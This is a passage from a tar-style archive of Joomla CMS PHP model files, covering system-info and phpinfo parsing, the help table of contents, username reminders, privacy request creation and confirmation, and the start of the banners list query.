function &getInfo(): array { if (!empty($this->info)) { return $this->info; } $db = $this->getDatabase(); $this->info = [ 'php' => php_uname(), 'dbserver' => $db->getServerType(), 'dbversion' => $db->getVersion(), 'dbcollation' => $db->getCollation(), 'dbconnectioncollation' => $db->getConnectionCollation(), 'dbconnectionencryption' => $db->getConnectionEncryption(), 'dbconnencryptsupported' => $db->isConnectionEncryptionSupported(), 'phpversion' => PHP_VERSION, 'server' => $_SERVER['SERVER_SOFTWARE'] ?? getenv('SERVER_SOFTWARE'), 'sapi_name' => PHP_SAPI, 'version' => (new Version())->getLongVersion(), 'useragent' => $_SERVER['HTTP_USER_AGENT'] ?? '', ]; return $this->info; } /** * Check if the phpinfo function is enabled * * @return boolean True if enabled * * @since 3.4.1 */ public function phpinfoEnabled(): bool { // remove any spaces from the ini value before exploding it $disabledFunctions = str_replace(' ', '', ini_get('disable_functions')); return !\in_array('phpinfo', explode(',', $disabledFunctions)); } /** * Method to get filter data from the model * * @param string $dataType Type of data to get safely * @param bool $public If true no sensitive information will be removed * * @return array * * @since 3.5 */ public function getSafeData(string $dataType, bool $public = true): array { if (isset($this->safeData[$dataType])) { return $this->safeData[$dataType]; } $methodName = 'get' . ucfirst($dataType); if (!method_exists($this, $methodName)) { return []; } $data = $this->$methodName($public); $this->safeData[$dataType] = $this->cleanPrivateData($data, $dataType); return $this->safeData[$dataType]; } /** * Method to get the PHP info * * @return string PHP info * * @since 1.6 */ public function &getPHPInfo(): string { if (!$this->phpinfoEnabled()) { $this->php_info = Text::_('COM_ADMIN_PHPINFO_DISABLED'); return $this->php_info; } if (!\is_null($this->php_info)) { return $this->php_info; } ob_start(); date_default_timezone_set('UTC'); phpinfo(INFO_GENERAL | INFO_CONFIGURATION | INFO_MODULES); $phpInfo = ob_get_contents(); ob_end_clean(); preg_match_all('#<body[^>]*>(.*)</body>#siU', $phpInfo, $output); $output = preg_replace('#<table[^>]*>#', '<table class="table">', $output[1][0]); $output = preg_replace('#(\w),(\w)#', '\1, \2', $output); $output = preg_replace('#<hr />#', '', $output); $output = str_replace('<div class="text-center">', '', $output); $output = preg_replace('#<tr class="h">(.*)</tr>#', '<thead><tr class="h">$1</tr></thead><tbody>', $output); $output = str_replace('</table>', '</tbody></table>', $output); $output = str_replace('</div>', '', $output); $this->php_info = $output; return $this->php_info; } /** * Get phpinfo() output as array * * @return array * * @since 3.5 */ public function getPhpInfoArray(): array { // Already cached if (null !== $this->phpInfoArray) { return $this->phpInfoArray; } $phpInfo = $this->getPHPInfo(); $this->phpInfoArray = $this->parsePhpInfo($phpInfo); return $this->phpInfoArray; } /** * Method to get a list of installed extensions * * @return array installed extensions * * @since 3.5 */ public function getExtensions(): array { $installed = []; $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__extensions')); $db->setQuery($query); try { $extensions = $db->loadObjectList(); } catch (\Exception $e) { try { Log::add(Text::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $e->getCode(), $e->getMessage()), Log::WARNING, 'jerror'); } catch (\RuntimeException $exception) { Factory::getApplication()->enqueueMessage( Text::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $e->getCode(), $e->getMessage()), 'warning' ); } return $installed; } if (empty($extensions)) { return $installed; } foreach ($extensions as $extension) { if (\strlen($extension->name) == 0) { continue; } $installed[$extension->name] = [ 'name' => $extension->name, 'type' => $extension->type, 'state' => $extension->enabled ? Text::_('JENABLED') : Text::_('JDISABLED'), 'author' => 'unknown', 'version' => 'unknown', 'creationDate' => 'unknown', 'authorUrl' => 'unknown', ]; $manifest = new Registry($extension->manifest_cache); $extraData = [ 'author' => $manifest->get('author', ''), 'version' => $manifest->get('version', ''), 'creationDate' => $manifest->get('creationDate', ''), 'authorUrl' => $manifest->get('authorUrl', ''), ]; $installed[$extension->name] = array_merge($installed[$extension->name], $extraData); } return $installed; } /** * Method to get the directory states * * @param bool $public If true no information is going to be removed * * @return array States of directories * * @throws \Exception * @since 1.6 */ public function getDirectory(bool $public = false): array { if (!empty($this->directories)) { return $this->directories; } $this->directories = []; $registry = Factory::getApplication()->getConfig(); $cparams = ComponentHelper::getParams('com_media'); $this->addDirectory('administrator/components', JPATH_ADMINISTRATOR . '/components'); $this->addDirectory('administrator/components/com_joomlaupdate', JPATH_ADMINISTRATOR . '/components/com_joomlaupdate'); $this->addDirectory('administrator/language', JPATH_ADMINISTRATOR . '/language'); // List all admin languages $admin_langs = new \DirectoryIterator(JPATH_ADMINISTRATOR . '/language'); foreach ($admin_langs as $folder) { if ($folder->isDot() || !$folder->isDir()) { continue; } $this->addDirectory( 'administrator/language/' . $folder->getFilename(), JPATH_ADMINISTRATOR . '/language/' . $folder->getFilename() ); } // List all manifests folders $manifests = new \DirectoryIterator(JPATH_ADMINISTRATOR . '/manifests'); foreach ($manifests as $folder) { if ($folder->isDot() || !$folder->isDir()) { continue; } $this->addDirectory( 'administrator/manifests/' . $folder->getFilename(), JPATH_ADMINISTRATOR . '/manifests/' . $folder->getFilename() ); } $this->addDirectory('administrator/modules', JPATH_ADMINISTRATOR . '/modules'); $this->addDirectory('administrator/templates', JPATH_THEMES); $this->addDirectory('components', JPATH_SITE . '/components'); $this->addDirectory($cparams->get('image_path'), JPATH_SITE . '/' . $cparams->get('image_path')); // List all images folders $image_folders = new \DirectoryIterator(JPATH_SITE . '/' . $cparams->get('image_path')); foreach ($image_folders as $folder) { if ($folder->isDot() || !$folder->isDir()) { continue; } $this->addDirectory( 'images/' . $folder->getFilename(), JPATH_SITE . '/' . $cparams->get('image_path') . '/' . $folder->getFilename() ); } $this->addDirectory('language', JPATH_SITE . '/language'); // List all site languages $site_langs = new \DirectoryIterator(JPATH_SITE . '/language'); foreach ($site_langs as $folder) { if ($folder->isDot() || !$folder->isDir()) { continue; } $this->addDirectory('language/' . $folder->getFilename(), JPATH_SITE . '/language/' . $folder->getFilename()); } $this->addDirectory('libraries', JPATH_LIBRARIES); $this->addDirectory('media', JPATH_SITE . '/media'); $this->addDirectory('modules', JPATH_SITE . '/modules'); $this->addDirectory('plugins', JPATH_PLUGINS); $plugin_groups = new \DirectoryIterator(JPATH_SITE . '/plugins'); foreach ($plugin_groups as $folder) { if ($folder->isDot() || !$folder->isDir()) { continue; } $this->addDirectory('plugins/' . $folder->getFilename(), JPATH_PLUGINS . '/' . $folder->getFilename()); } $this->addDirectory('templates', JPATH_SITE . '/templates'); $this->addDirectory('configuration.php', JPATH_CONFIGURATION . '/configuration.php'); // Is there a cache path in configuration.php? if ($cache_path = trim($registry->get('cache_path', ''))) { // Frontend and backend use same directory for caching. $this->addDirectory($cache_path, $cache_path, 'COM_ADMIN_CACHE_DIRECTORY'); } else { $this->addDirectory('administrator/cache', JPATH_CACHE, 'COM_ADMIN_CACHE_DIRECTORY'); } $this->addDirectory('media/cache', JPATH_ROOT . '/media/cache', 'COM_ADMIN_MEDIA_CACHE_DIRECTORY'); if ($public) { $this->addDirectory( 'log', $registry->get('log_path', JPATH_ADMINISTRATOR . '/logs'), 'COM_ADMIN_LOG_DIRECTORY' ); $this->addDirectory( 'tmp', $registry->get('tmp_path', JPATH_ROOT . '/tmp'), 'COM_ADMIN_TEMP_DIRECTORY' ); } else { $this->addDirectory( $registry->get('log_path', JPATH_ADMINISTRATOR . '/logs'), $registry->get('log_path', JPATH_ADMINISTRATOR . '/logs'), 'COM_ADMIN_LOG_DIRECTORY' ); $this->addDirectory( $registry->get('tmp_path', JPATH_ROOT . '/tmp'), $registry->get('tmp_path', JPATH_ROOT . '/tmp'), 'COM_ADMIN_TEMP_DIRECTORY' ); } return $this->directories; } /** * Method to add a directory * * @param string $name Directory Name * @param string $path Directory path * @param string $message Message * * @return void * * @since 1.6 */ private function addDirectory(string $name, string $path, string $message = ''): void { $this->directories[$name] = ['writable' => is_writable($path), 'message' => $message,]; } /** * Method to get the editor * * @return string The default editor * * @note Has to be removed (it is present in the config...) * @since 1.6 */ public function &getEditor(): string { if (!is_null($this->editor)) { return $this->editor; } $this->editor = Factory::getApplication()->get('editor'); return $this->editor; } /** * Parse phpinfo output into an array * Source https://gist.github.com/sbmzhcn/6255314 * * @param string $html Output of phpinfo() * * @return array * * @since 3.5 */ protected function parsePhpInfo(string $html): array { $html = strip_tags($html, '<h2><th><td>'); $html = preg_replace('/<th[^>]*>([^<]+)<\/th>/', '<info>\1</info>', $html); $html = preg_replace('/<td[^>]*>([^<]+)<\/td>/', '<info>\1</info>', $html); $t = preg_split('/(<h2[^>]*>[^<]+<\/h2>)/', $html, -1, PREG_SPLIT_DELIM_CAPTURE); $r = []; $count = \count($t); $p1 = '<info>([^<]+)<\/info>'; $p2 = '/' . $p1 . '\s*' . $p1 . '\s*' . $p1 . '/'; $p3 = '/' . $p1 . '\s*' . $p1 . '/'; for ($i = 1; $i < $count; $i++) { if (preg_match('/<h2[^>]*>([^<]+)<\/h2>/', $t[$i], $matches)) { $name = trim($matches[1]); $vals = explode("\n", $t[$i + 1]); foreach ($vals as $val) { // 3cols if (preg_match($p2, $val, $matches)) { $r[$name][trim($matches[1])] = [trim($matches[2]), trim($matches[3]),]; } elseif (preg_match($p3, $val, $matches)) { // 2cols $r[$name][trim($matches[1])] = trim($matches[2]); } } } } return $r; } } HelpModel.php 0000644 00000010470 15173024667 0007143 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_admin * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Admin\Administrator\Model; use Joomla\CMS\Factory; use Joomla\CMS\Filesystem\Folder; use Joomla\CMS\Help\Help; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Model\BaseDatabaseModel; use Joomla\String\StringHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Admin Component Help Model * * @since 1.6 */ class HelpModel extends BaseDatabaseModel { /** * The search string * * @var string * @since 1.6 */ protected $help_search = null; /** * The page to be viewed * * @var string * @since 1.6 */ protected $page = null; /** * The ISO language tag * * @var string * @since 1.6 */ protected $lang_tag = null; /** * Table of contents * * @var array * @since 1.6 */ protected $toc = []; /** * URL for the latest version check * * @var string * @since 1.6 */ protected $latest_version_check = null; /** * Method to get the help search string * * @return string Help search string * * @since 1.6 */ public function &getHelpSearch() { if (\is_null($this->help_search)) { $this->help_search = Factory::getApplication()->getInput()->getString('helpsearch'); } return $this->help_search; } /** * Method to get the page * * @return string The page * * @since 1.6 */ public function &getPage() { if (\is_null($this->page)) { $this->page = Help::createUrl(Factory::getApplication()->getInput()->get('page', 'Start_Here')); } return $this->page; } /** * Method to get the lang tag * * @return string lang iso tag * * @since 1.6 */ public function getLangTag() { if (\is_null($this->lang_tag)) { $this->lang_tag = Factory::getLanguage()->getTag(); if (!is_dir(JPATH_BASE . '/help/' . $this->lang_tag)) { // Use English as fallback $this->lang_tag = 'en-GB'; } } return $this->lang_tag; } /** * Method to get the table of contents * * @return array Table of contents */ public function &getToc() { if (\count($this->toc)) { return $this->toc; } // Get vars $lang_tag = $this->getLangTag(); $help_search = $this->getHelpSearch(); // New style - Check for a TOC \JSON file if (file_exists(JPATH_BASE . '/help/' . $lang_tag . '/toc.json')) { $data = json_decode(file_get_contents(JPATH_BASE . '/help/' . $lang_tag . '/toc.json')); // Loop through the data array foreach ($data as $key => $value) { $this->toc[$key] = Text::_('COM_ADMIN_HELP_' . $value); } // Sort the Table of Contents asort($this->toc); return $this->toc; } // Get Help files $files = Folder::files(JPATH_BASE . '/help/' . $lang_tag, '\.xml$|\.html$'); foreach ($files as $file) { $buffer = file_get_contents(JPATH_BASE . '/help/' . $lang_tag . '/' . $file); if (!preg_match('#<title>(.*?)</title>#', $buffer, $m)) { continue; } $title = trim($m[1]); if (!$title) { continue; } // Translate the page title $title = Text::_($title); // Strip the extension $file = preg_replace('#\.xml$|\.html$#', '', $file); if ($help_search && StringHelper::strpos(StringHelper::strtolower(strip_tags($buffer)), StringHelper::strtolower($help_search)) === false) { continue; } // Add an item in the Table of Contents $this->toc[$file] = $title; } // Sort the Table of Contents asort($this->toc); return $this->toc; } } RemindModel.php 0000644 00000013360 15173073616 0007470 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_users * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Site\Model; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; use Joomla\CMS\Log\Log; use Joomla\CMS\Mail\MailTemplate; use Joomla\CMS\MVC\Model\FormModel; use Joomla\CMS\Router\Route; use Joomla\CMS\String\PunycodeHelper; use Joomla\Utilities\ArrayHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Remind model class for Users. * * @since 1.5 */ class RemindModel extends FormModel { /** * Method to get the username remind request form. * * @param array $data An optional array of data for the form to interrogate. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return Form|bool A Form object on success, false on failure * * @since 1.6 */ public function getForm($data = [], $loadData = true) { // Get the form. $form = $this->loadForm('com_users.remind', 'remind', ['control' => 'jform', 'load_data' => $loadData]); if (empty($form)) { return false; } return $form; } /** * Override preprocessForm to load the user plugin group instead of content. * * @param Form $form A Form object. * @param mixed $data The data expected for the form. * @param string $group The name of the plugin group to import (defaults to "content"). * * @return void * * @throws \Exception if there is an error in the form event. * * @since 1.6 */ protected function preprocessForm(Form $form, $data, $group = 'user') { parent::preprocessForm($form, $data, 'user'); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * * @since 1.6 * * @throws \Exception */ protected function populateState() { // Get the application object. $app = Factory::getApplication(); $params = $app->getParams('com_users'); // Load the parameters. $this->setState('params', $params); } /** * Send the remind username email * * @param array $data Array with the data received from the form * * @return boolean * * @since 1.6 */ public function processRemindRequest($data) { // Get the form. $form = $this->getForm(); $data['email'] = PunycodeHelper::emailToPunycode($data['email']); // Check for an error. if (empty($form)) { return false; } // Validate the data. $data = $this->validate($form, $data); // Check for an error. if ($data instanceof \Exception) { return false; } // Check the validation results. if ($data === false) { // Get the validation messages from the form. foreach ($form->getErrors() as $formError) { $this->setError($formError->getMessage()); } return false; } // Find the user id for the given email address. $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__users')) ->where('LOWER(' . $db->quoteName('email') . ') = LOWER(:email)') ->bind(':email', $data['email']); // Get the user id. $db->setQuery($query); try { $user = $db->loadObject(); } catch (\RuntimeException $e) { $this->setError(Text::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage())); return false; } // Check for a user. if (empty($user)) { $this->setError(Text::_('COM_USERS_USER_NOT_FOUND')); return false; } // Make sure the user isn't blocked. if ($user->block) { $this->setError(Text::_('COM_USERS_USER_BLOCKED')); return false; } $app = Factory::getApplication(); // Assemble the login link. $link = 'index.php?option=com_users&view=login'; $mode = $app->get('force_ssl', 0) == 2 ? 1 : (-1); // Put together the email template data. $data = ArrayHelper::fromObject($user); $data['sitename'] = $app->get('sitename'); $data['link_text'] = Route::_($link, false, $mode); $data['link_html'] = Route::_($link, true, $mode); $mailer = new MailTemplate('com_users.reminder', $app->getLanguage()->getTag()); $mailer->addTemplateData($data); $mailer->addRecipient($user->email, $user->name); // Try to send the password reset request email. try { $return = $mailer->send(); } catch (\Exception $exception) { try { Log::add(Text::_($exception->getMessage()), Log::WARNING, 'jerror'); $return = false; } catch (\RuntimeException $exception) { Factory::getApplication()->enqueueMessage(Text::_($exception->errorMessage()), 'warning'); $return = false; } } // Check for an error. if ($return !== true) { $this->setError(Text::_('COM_USERS_MAIL_FAILED')); return false; } Factory::getApplication()->triggerEvent('onUserAfterRemind', [$user]); return true; } } RequestModel.php 0000644 00000021142 15173073616 0007677 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_privacy * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Privacy\Site\Model; use Joomla\CMS\Application\ApplicationHelper; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; use Joomla\CMS\Mail\Exception\MailDisabledException; use Joomla\CMS\Mail\MailTemplate; use Joomla\CMS\MVC\Model\AdminModel; use Joomla\CMS\Router\Route; use Joomla\CMS\Table\Table; use Joomla\CMS\Uri\Uri; use Joomla\CMS\User\UserHelper; use Joomla\Component\Actionlogs\Administrator\Model\ActionlogModel; use Joomla\Component\Messages\Administrator\Model\MessageModel; use Joomla\Component\Privacy\Administrator\Table\RequestTable; use Joomla\Database\Exception\ExecutionFailureException; use PHPMailer\PHPMailer\Exception as phpmailerException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Request model class. * * @since 3.9.0 */ class RequestModel extends AdminModel { /** * Creates an information request. * * @param array $data The data expected for the form. * * @return mixed Exception | boolean * * @since 3.9.0 */ public function createRequest($data) { $app = Factory::getApplication(); // Creating requests requires the site's email sending be enabled if (!$app->get('mailonline', 1)) { $this->setError(Text::_('COM_PRIVACY_ERROR_CANNOT_CREATE_REQUEST_WHEN_SENDMAIL_DISABLED')); return false; } // Get the form. $form = $this->getForm(); // Check for an error. if ($form instanceof \Exception) { return $form; } // Filter and validate the form data. $data = $form->filter($data); $return = $form->validate($data); // Check for an error. if ($return instanceof \Exception) { return $return; } // Check the validation results. if ($return === false) { // Get the validation messages from the form. foreach ($form->getErrors() as $formError) { $this->setError($formError->getMessage()); } return false; } $data['email'] = $this->getCurrentUser()->email; // Search for an open information request matching the email and type $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('COUNT(id)') ->from($db->quoteName('#__privacy_requests')) ->where($db->quoteName('email') . ' = :email') ->where($db->quoteName('request_type') . ' = :requesttype') ->whereIn($db->quoteName('status'), [0, 1]) ->bind(':email', $data['email']) ->bind(':requesttype', $data['request_type']); try { $result = (int) $db->setQuery($query)->loadResult(); } catch (ExecutionFailureException $exception) { // Can't check for existing requests, so don't create a new one $this->setError(Text::_('COM_PRIVACY_ERROR_CHECKING_FOR_EXISTING_REQUESTS')); return false; } if ($result > 0) { $this->setError(Text::_('COM_PRIVACY_ERROR_PENDING_REQUEST_OPEN')); return false; } // Everything is good to go, create the request $token = ApplicationHelper::getHash(UserHelper::genRandomPassword()); $hashedToken = UserHelper::hashPassword($token); $data['confirm_token'] = $hashedToken; $data['confirm_token_created_at'] = Factory::getDate()->toSql(); if (!$this->save($data)) { // The save function will set the error message, so just return here return false; } // Push a notification to the site's super users, deliberately ignoring if this process fails so the below message goes out /** @var MessageModel $messageModel */ $messageModel = $app->bootComponent('com_messages')->getMVCFactory()->createModel('Message', 'Administrator'); $messageModel->notifySuperUsers( Text::_('COM_PRIVACY_ADMIN_NOTIFICATION_USER_CREATED_REQUEST_SUBJECT'), Text::sprintf('COM_PRIVACY_ADMIN_NOTIFICATION_USER_CREATED_REQUEST_MESSAGE', $data['email']) ); // The mailer can be set to either throw Exceptions or return boolean false, account for both try { $linkMode = $app->get('force_ssl', 0) == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE; $templateData = [ 'sitename' => $app->get('sitename'), 'url' => Uri::root(), 'tokenurl' => Route::link('site', 'index.php?option=com_privacy&view=confirm&confirm_token=' . $token, false, $linkMode, true), 'formurl' => Route::link('site', 'index.php?option=com_privacy&view=confirm', false, $linkMode, true), 'token' => $token, ]; switch ($data['request_type']) { case 'export': $mailer = new MailTemplate('com_privacy.notification.export', $app->getLanguage()->getTag()); break; case 'remove': $mailer = new MailTemplate('com_privacy.notification.remove', $app->getLanguage()->getTag()); break; default: $this->setError(Text::_('COM_PRIVACY_ERROR_UNKNOWN_REQUEST_TYPE')); return false; } $mailer->addTemplateData($templateData); $mailer->addRecipient($data['email']); $mailer->send(); /** @var RequestTable $table */ $table = $this->getTable(); if (!$table->load($this->getState($this->getName() . '.id'))) { $this->setError($table->getError()); return false; } // Log the request's creation $message = [ 'action' => 'request-created', 'requesttype' => $table->request_type, 'subjectemail' => $table->email, 'id' => $table->id, 'itemlink' => 'index.php?option=com_privacy&view=request&id=' . $table->id, ]; $this->getActionlogModel()->addLog([$message], 'COM_PRIVACY_ACTION_LOG_CREATED_REQUEST', 'com_privacy.request'); // The email sent and the record is saved, everything is good to go from here return true; } catch (MailDisabledException | phpmailerException $exception) { $this->setError($exception->getMessage()); return false; } } /** * Method for getting the form from the model. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return Form|boolean A Form object on success, false on failure * * @since 3.9.0 */ public function getForm($data = [], $loadData = true) { return $this->loadForm('com_privacy.request', 'request', ['control' => 'jform']); } /** * Method to get a table object, load it if necessary. * * @param string $name The table name. Optional. * @param string $prefix The class prefix. Optional. * @param array $options Configuration array for model. Optional. * * @return Table A Table object * * @throws \Exception * @since 3.9.0 */ public function getTable($name = 'Request', $prefix = 'Administrator', $options = []) { return parent::getTable($name, $prefix, $options); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * * @since 3.9.0 */ protected function populateState() { // Get the application object. $params = Factory::getApplication()->getParams('com_privacy'); // Load the parameters. $this->setState('params', $params); } /** * Method to fetch an instance of the action log model. * * @return ActionlogModel * * @since 4.0.0 */ private function getActionlogModel(): ActionlogModel { return Factory::getApplication()->bootComponent('com_actionlogs') ->getMVCFactory()->createModel('Actionlog', 'Administrator', ['ignore_request' => true]); } } ConfirmModel.php 0000644 00000016160 15173073616 0007650 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_privacy * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Privacy\Site\Model; use Joomla\CMS\Date\Date; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Model\AdminModel; use Joomla\CMS\Table\Table; use Joomla\CMS\User\UserHelper; use Joomla\Component\Actionlogs\Administrator\Model\ActionlogModel; use Joomla\Component\Messages\Administrator\Model\MessageModel; use Joomla\Component\Privacy\Administrator\Table\RequestTable; use Joomla\Database\Exception\ExecutionFailureException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Request confirmation model class. * * @since 3.9.0 */ class ConfirmModel extends AdminModel { /** * Confirms the information request. * * @param array $data The data expected for the form. * * @return mixed Exception | boolean * * @since 3.9.0 */ public function confirmRequest($data) { // Get the form. $form = $this->getForm(); // Check for an error. if ($form instanceof \Exception) { return $form; } // Filter and validate the form data. $data = $form->filter($data); $return = $form->validate($data); // Check for an error. if ($return instanceof \Exception) { return $return; } // Check the validation results. if ($return === false) { // Get the validation messages from the form. foreach ($form->getErrors() as $formError) { $this->setError($formError->getMessage()); } return false; } // Get the user email address $email = $this->getCurrentUser()->email; // Search for the information request /** @var RequestTable $table */ $table = $this->getTable(); if (!$table->load(['email' => $email, 'status' => 0])) { $this->setError(Text::_('COM_PRIVACY_ERROR_NO_PENDING_REQUESTS')); return false; } // A request can only be confirmed if it is in a pending status and has a confirmation token if ($table->status != '0' || !$table->confirm_token || $table->confirm_token_created_at === null) { $this->setError(Text::_('COM_PRIVACY_ERROR_NO_PENDING_REQUESTS')); return false; } // A request can only be confirmed if the token is less than 24 hours old $confirmTokenCreatedAt = new Date($table->confirm_token_created_at); $confirmTokenCreatedAt->add(new \DateInterval('P1D')); $now = new Date('now'); if ($now > $confirmTokenCreatedAt) { // Invalidate the request $table->status = -1; $table->confirm_token = ''; $table->confirm_token_created_at = null; try { $table->store(); } catch (ExecutionFailureException $exception) { // The error will be logged in the database API, we just need to catch it here to not let things fatal out } $this->setError(Text::_('COM_PRIVACY_ERROR_CONFIRM_TOKEN_EXPIRED')); return false; } // Verify the token if (!UserHelper::verifyPassword($data['confirm_token'], $table->confirm_token)) { $this->setError(Text::_('COM_PRIVACY_ERROR_NO_PENDING_REQUESTS')); return false; } // Everything is good to go, transition the request to confirmed $saved = $this->save( [ 'id' => $table->id, 'status' => 1, 'confirm_token' => '', ] ); if (!$saved) { // Error was set by the save method return false; } // Push a notification to the site's super users, deliberately ignoring if this process fails so the below message goes out /** @var MessageModel $messageModel */ $messageModel = Factory::getApplication()->bootComponent('com_messages')->getMVCFactory()->createModel('Message', 'Administrator'); $messageModel->notifySuperUsers( Text::_('COM_PRIVACY_ADMIN_NOTIFICATION_USER_CONFIRMED_REQUEST_SUBJECT'), Text::sprintf('COM_PRIVACY_ADMIN_NOTIFICATION_USER_CONFIRMED_REQUEST_MESSAGE', $table->email) ); $message = [ 'action' => 'request-confirmed', 'subjectemail' => $table->email, 'id' => $table->id, 'itemlink' => 'index.php?option=com_privacy&view=request&id=' . $table->id, ]; $this->getActionlogModel()->addLog([$message], 'COM_PRIVACY_ACTION_LOG_CONFIRMED_REQUEST', 'com_privacy.request'); return true; } /** * Method for getting the form from the model. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return Form|boolean A Form object on success, false on failure * * @since 3.9.0 */ public function getForm($data = [], $loadData = true) { // Get the form. $form = $this->loadForm('com_privacy.confirm', 'confirm', ['control' => 'jform']); if (empty($form)) { return false; } $input = Factory::getApplication()->getInput(); if ($input->getMethod() === 'GET') { $form->setValue('confirm_token', '', $input->get->getAlnum('confirm_token')); } return $form; } /** * Method to get a table object, load it if necessary. * * @param string $name The table name. Optional. * @param string $prefix The class prefix. Optional. * @param array $options Configuration array for model. Optional. * * @return Table A Table object * * @since 3.9.0 * @throws \Exception */ public function getTable($name = 'Request', $prefix = 'Administrator', $options = []) { return parent::getTable($name, $prefix, $options); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * * @since 3.9.0 */ protected function populateState() { // Get the application object. $params = Factory::getApplication()->getParams('com_privacy'); // Load the parameters. $this->setState('params', $params); } /** * Method to fetch an instance of the action log model. * * @return ActionlogModel * * @since 4.0.0 */ private function getActionlogModel(): ActionlogModel { return Factory::getApplication()->bootComponent('com_actionlogs') ->getMVCFactory()->createModel('Actionlog', 'Administrator', ['ignore_request' => true]); } } BannersModel.php 0000644 00000034040 15173076433 0007640 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_banners * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Banners\Site\Model; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\MVC\Model\ListModel; use Joomla\Database\DatabaseQuery; use Joomla\Database\Exception\ExecutionFailureException; use Joomla\Database\ParameterType; use Joomla\Registry\Registry; use Joomla\Utilities\ArrayHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Banners model for the Joomla Banners component. * * @since 1.6 */ class BannersModel extends ListModel { /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. * * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.search'); $id .= ':' . $this->getState('filter.tag_search'); $id .= ':' . $this->getState('filter.client_id'); $id .= ':' . serialize($this->getState('filter.category_id')); $id .= ':' . serialize($this->getState('filter.keywords')); return parent::getStoreId($id); } /** * Method to get a DatabaseQuery object for retrieving the data set from a database. * * @return DatabaseQuery A DatabaseQuery object to retrieve the data set. * * @since 1.6 */ protected function getListQuery() { $db = $this->getDatabase(); $query = $db->getQuery(true); $ordering = $this->getState('filter.ordering'); $tagSearch = $this->getState('filter.tag_search'); $cid = (int) $this->getState('filter.client_id'); $categoryId = $this->getState('filter.category_id'); $keywords = $this->getState('filter.keywords'); $randomise = ($ordering === 'random'); $nowDate = Factory::getDate()->toSql(); $query->select( [ $db->quoteName('a.id'), $db->quoteName('a.type'), $db->quoteName('a.name'), $db->quoteName('a.clickurl'), $db->quoteName('a.sticky'), $db->quoteName('a.cid'), $db->quoteName('a.description'), $db->quoteName('a.params'), $db->quoteName('a.custombannercode'), $db->quoteName('a.track_impressions'), $db->quoteName('cl.track_impressions', 'client_track_impressions'), ] ) ->from($db->quoteName('#__banners', 'a')) ->join('LEFT', $db->quoteName('#__banner_clients', 'cl'), $db->quoteName('cl.id') . ' = ' . $db->quoteName('a.cid')) ->where($db->quoteName('a.state') . ' = 1') ->extendWhere( 'AND', [ $db->quoteName('a.publish_up') . ' IS NULL', $db->quoteName('a.publish_up') . ' <= :nowDate1', ], 'OR' ) ->extendWhere( 'AND', [ $db->quoteName('a.publish_down') . ' IS NULL', $db->quoteName('a.publish_down') . ' >= :nowDate2', ], 'OR' ) ->extendWhere( 'AND', [ $db->quoteName('a.imptotal') . ' = 0', $db->quoteName('a.impmade') . ' < ' . $db->quoteName('a.imptotal'), ], 'OR' ) ->bind([':nowDate1', ':nowDate2'], $nowDate); if ($cid) { $query->where( [ $db->quoteName('a.cid') . ' = :clientId', $db->quoteName('cl.state') . ' = 1', ] ) ->bind(':clientId', $cid, ParameterType::INTEGER); } // Filter by a single or group of categories if (is_numeric($categoryId)) { $categoryId = (int) $categoryId; $type = $this->getState('filter.category_id.include', true) ? ' = ' : ' <> '; // Add subcategory check if ($this->getState('filter.subcategories', false)) { $levels = (int) $this->getState('filter.max_category_levels', '1'); // Create a subquery for the subcategory list $subQuery = $db->getQuery(true); $subQuery->select($db->quoteName('sub.id')) 